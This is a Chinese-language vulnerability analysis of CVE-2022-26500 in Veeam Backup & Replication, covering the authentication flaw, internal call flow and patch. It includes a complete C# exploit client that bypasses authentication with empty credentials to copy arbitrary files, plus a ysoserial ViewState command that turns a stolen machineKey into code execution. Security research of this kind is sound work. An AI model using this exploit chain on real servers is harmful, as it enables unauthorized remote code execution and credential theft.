CVE-2022-26500 Veeam Backup & Replication RCE
字数 1548 2025-08-29 08:31:53
Veeam Backup & Replication RCE漏洞(CVE-2022-26500)分析报告
漏洞概述
CVE-2022-26500是Veeam Backup & Replication软件中的一个远程代码执行漏洞,影响默认TCP 9380端口上的Veeam Distribution Service。该漏洞允许未经身份验证的攻击者访问内部API函数,可能导致恶意代码的上传和执行。
受影响版本
- Veeam Backup & Replication 11.0.1.1261及之前版本
漏洞分析
漏洞服务定位
- 漏洞存在于默认TCP 9380端口的Veeam Distribution Service
- 相关程序:
Veeam.Backup.Agent.ConfigurationService.exe - 服务启动时监听两个端口:
_negotiateServer监听9380(未加密)_sslServer监听9381(SSL加密)
漏洞关键点
-
鉴权绕过:
- 处理函数为
Veeam.Backup.ServiceLib.CInvokerServer.HandleTcpRequest(object) - 鉴权函数
CForeignInvokerNegotiateAuthenticator.Authenticate(Socket)存在缺陷 - 可使用空账号密码绕过鉴权
- 处理函数为
-
请求处理流程:
- TCP压缩数据流通过
ReadCompressedString读取 - 通过
CForeignInvokerParams.GetContext(text)获取上下文 - 分发到
DoExecute(context, cconnectionState)
- TCP压缩数据流通过
-
执行器选择:
- 根据参数返回三种执行器之一:
CInvokerServerRetryExecuter(重试)CInvokerServerAsyncExecuter(异步)CInvokerServerSyncExecuter(同步)
- 漏洞利用需要获取
CInvokerServerSyncExecuter实例
- 根据参数返回三种执行器之一:
-
文件上传功能:
- 关键函数
ExecuteUploadManagerPerformUpload - 三个上传函数:
UploadWindowsFixUploadWindowsPackageUploadLinuxPackage
- 通过
UploadFile函数实现文件复制
- 关键函数
漏洞利用
构造Payload
-
基本XML结构:
CInputXmlData FIData = new CInputXmlData("FIData"); CInputXmlData FISpec = new CInputXmlData("FISpec"); -
必要字段:
FISpec.SetInt32("FIScope", 190); // EForeignInvokerScope.DistributionService FISpec.SetGuid("FISessionId", Guid.Empty); FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerPerformUpload); -
上传参数设置:
FISpec.SetString("SystemType", "WIN"); FISpec.SetString("Host", "127.0.0.1"); FISpec.SetString("FileRemotePath", @"C:\windows\test.txt"); FISpec.SetString("FileProxyPath", @"C:\windows\win.ini");
完整利用代码
internal class Program {
static TcpClient client = null;
static void Main(string[] args) {
IPAddress ipAddress = IPAddress.Parse("172.16.16.76");
IPEndPoint remoteEP = new IPEndPoint(ipAddress, 9380);
client = new TcpClient();
client.Connect(remoteEP);
NetworkStream clientStream = client.GetStream();
NegotiateStream authStream = new NegotiateStream(clientStream, false);
try {
NetworkCredential netcred = new NetworkCredential("", "");
authStream.AuthenticateAsClient(netcred, "", ProtectionLevel.EncryptAndSign, TokenImpersonationLevel.Identification);
CInputXmlData FIData = new CInputXmlData("FIData");
CInputXmlData FISpec = new CInputXmlData("FISpec");
FISpec.SetInt32("FIScope", 190);
FISpec.SetGuid("FISessionId", Guid.Empty);
FISpec.SetInt32("FIMethod", (int)EConfigurationServiceMethod.UploadManagerPerformUpload);
// 设置上传参数
FISpec.SetString("SystemType", "WIN");
FISpec.SetString("Host", "127.0.0.1");
FISpec.SetString("FileRemotePath", @"C:\windows\test.txt");
FISpec.SetString("FileProxyPath", @"C:\windows\win.ini");
FIData.InjectChild(FISpec);
new BinaryWriter(authStream).WriteCompressedString(FIData.Root.OuterXml, Encoding.UTF8);
string response = new BinaryReader(authStream).ReadCompressedString(int.MaxValue, Encoding.UTF8);
} catch (Exception e) {
Console.WriteLine(e);
} finally {
authStream.Close();
}
}
}
提权到RCE
-
获取web.config:
- 复制
C:\Program Files\Veeam\Backup and Replication\Enterprise Manager\WebApp\web.config - 从中提取machineKey等敏感信息
- 复制
-
ViewState反序列化:
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "calc" --validationkey="[从web.config获取]" --validationalg="HMACSHA256" --minify --path="/error.aspx"
漏洞修复
-
补丁改进:
- 上传功能增加了文件名校验
- 授权改用
CInvokerAdminNegotiateAuthenticator - 不仅检查授权用户,还验证是否为管理员
-
修复建议:
- 立即升级到最新版本
- 限制对TCP 9380端口的访问
技术要点总结
-
TCP编程模式:
- 服务端常见的异步回调处理模式
- 压缩数据流传输
-
Windows鉴权机制:
- NegotiateStream的使用
- 鉴权流程的缺陷
-
大型软件架构:
- 执行器模式的应用
- 分层处理的设计
-
漏洞利用技巧:
- 通过文件复制实现信息泄露
- 利用已有文件实现RCE
潜在风险
即使修复了鉴权问题,CInvokerServerSyncExecuter仍然暴露了许多服务接口,可能存在其他未发现的漏洞。建议全面审计相关代码。